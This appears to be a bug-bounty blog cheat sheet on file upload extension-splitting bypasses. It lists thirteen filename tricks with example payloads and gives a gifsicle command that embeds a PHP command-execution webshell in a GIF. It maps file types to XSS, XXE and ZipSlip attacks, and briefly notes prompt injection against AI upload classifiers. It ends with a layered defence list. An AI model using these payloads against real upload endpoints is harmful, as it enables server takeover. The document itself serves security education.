TL;DR

If your file upload validation relies only on extension checks, it's already broken. Attackers have at least 13 distinct tricks to sneak a .php webshell past filters that look for .jpg — double extensions, URL-encoded delimiters, null bytes (%00), newline injection (%0a), NTFS alternate data streams (file.asax:.jpg), RTL Unicode overrides, trailing dots, magic byte forgery (GIF89a prepended to PHP), and more. A successful bypass typically ends in Remote Code Execution. Defense requires 6–10 stacked layers, not one regex.

What this cheat sheet covers

A recent viral post from @hackinarticles (credit @therceman) resurfaced the classic Extension Splitting playbook for bug bounty hunters. The techniques aren't new — OWASP has documented most of them for a decade — but they keep working because developers keep shipping validation that looks at a filename string instead of the actual file.

This post consolidates the cheat sheet with concrete payloads, maps each trick to the attacks it enables (RCE, XSS, SSRF, XXE, LFI, DoS), and lists the defense stack that actually holds.

Why it matters

File upload is one of the highest-value primitives in bug bounty. A single successful upload bypass often hands you a webshell, which means full server compromise and pivoting into internal networks. HackerOne and Bugcrowd reports routinely pay $1,000–$15,000+ for RCE via upload. OWASP classifies Unrestricted File Upload as high severity — high impact, high likelihood, common prevalence.

And yet the class of bug refuses to die. Real incidents in the last few years: ZipSlip (2018, affected HP, Amazon, Apache, Pivotal); ImageTragick CVE-2016-3714; ExifTool DjVu RCE hitting GitLab; CVE-2018-14364 GitLab tar slip.

The 13 extension-splitting tricks

#TrickExample payloadWhy it works
1Double extensionshell.jpg.php, script.php.gifApache executes .php.gif as PHP; lazy regex accepts .jpg anywhere
2Null byteshell.php%00.jpgC/PHP truncate string at \x00; validator sees .jpg, FS saves .php
3Newline / CR / tabfile.png%0a.php, file.png\x0d\x0a.svg, file.png%09.phpParsers split on control chars differently than storage layer
4Fragment / hashfile.png%23.phpSome parsers treat # as URL fragment and trim
5IIS6 semicolonfile.asp;.jpgLegacy IIS executes the first extension before ;
6NTFS alternate data streamfile.asax:.jpg, file.asp::$data.Windows creates empty .asax file; ADS writes real content
7Trailing dot (Windows)shell.aspx., file.asp.Windows strips trailing dot on save — bypasses blacklist
8Trailing spacescript.asp , file.asp.......Windows strips trailing whitespace
9Case variationshell.pHp, PHp3, .aSpXCase-sensitive regex miss mixed-case
10RTL Unicode overridefile.%E2%80%AEphp.jpgU+202E flips display; validator sees .jpg, server executes .php
11Less-common executable extensions.phtml, .php3, .php5, .pht, .shtml, .asa, .cer, .asax, .ashx, .jspx, .cfmDenylists routinely miss these
12Content-Type spoofFlip header application/x-phpimage/gif in BurpMIME is user-controlled, trivial to spoof
13Magic byte forgeryPrepend GIF89a to PHP shellDefeats mime_content_type() and naive file checks

Common magic bytes worth memorising: GIF = GIF89a;\x0a, PDF = %PDF-, JPG = \xFF\xD8\xFF\xDB, PNG = \x89\x50\x4E\x47\x0D\x0A\x1A\x0A, XML = <?xml.

Beating getimagesize()

When the app does a stricter check like PHP's getimagesize() (which verifies real image dimensions), a simple byte prefix won't work. Embed the shell in real metadata instead:

gifsicle < real.gif --comment "<?php system(\$_GET['cmd']); ?>" > shell.php.gif

Result: a structurally valid GIF that contains executable PHP in a comment section. Pair with trick #1 (double extension) and Apache happily runs it.

Impact by file type

Upload that sneaks throughAttack unlocked
PHP, PHP3/4/5, PHTML, ASP, ASPX, JSP, JSPX, CFM, SCFWebshell → RCE → full server takeover
SVGStored XSS, SSRF, XXE (SVG is XML + JS)
XML, DOCX, XLSX, PPTXXXE / Blind XXE → internal file disclosure
HTML, JSStored XSS, HTML injection, open redirect
ZIP, TAR, RAR, 7ZZipSlip path traversal → arbitrary file write → RCE; ZIP bomb → DoS
CSVCSV formula injection (Excel DDE/macro abuse)
PDF, AVISSRF, Blind XXE, LFI via media libraries
PNG, JPEGPixel flood DoS; ImageTragick RCE if ImageMagick used

How to actually defend (the layered stack)

No single check is sufficient. Ship all of these:

  1. Allowlist extensions after decoding the filename. Block everything else. Never denylist.
  2. Rename to UUID/GUID on save — discard the user-provided filename entirely. Kills tricks #1–#10 at the storage layer.
  3. Single-dot regex: ^[a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}$. Strip control chars and Unicode.
  4. Validate magic bytes — but only as a layer, never standalone.
  5. Rewrite images (decode + re-encode) to destroy embedded payloads. Use CDR (Content Disarm & Reconstruct) for PDFs and Office docs.
  6. Store outside webroot or on an isolated host/domain.
  7. No execute permission on upload directories; remove script handlers.
  8. Size limits (min + max). For archives, calculate decompressed size first — zip bombs.
  9. AV / sandbox scan (VirusTotal API, ClamAV) before publication.
  10. Content-Type as a hint only. Don't trust it.
  11. CSRF tokens on upload endpoints.
  12. Auth + authz — only trusted roles upload, and only to their own namespace.
  13. Block config files.htaccess and web.config must never land in an upload dir, even if renamed.

What's next

Extension splitting is ~15 years old and still lands RCE in 2026. The attack surface is shifting toward polyglot files (valid image + valid script), LLM-based upload classifiers (which themselves get bypassed via prompt injection in filenames and EXIF metadata), and chained primitives — upload → SSRF → internal RCE rather than a direct webshell.

The defensive frontier is CDR + sandboxed rendering, now becoming standard in SaaS platforms. But until every upload endpoint rewrites content and stores on an isolated host, the cheat sheet you just read will keep paying bounties.

Think like an attacker. Validate like a defender.

Sources: OWASP File Upload Cheat Sheet, OWASP Unrestricted File Upload, Undercode Testing, Steflan Security, OnSecurity, 0xn3va, KathanP19 HowToHunt. Credit original post: @hackinarticles / @therceman.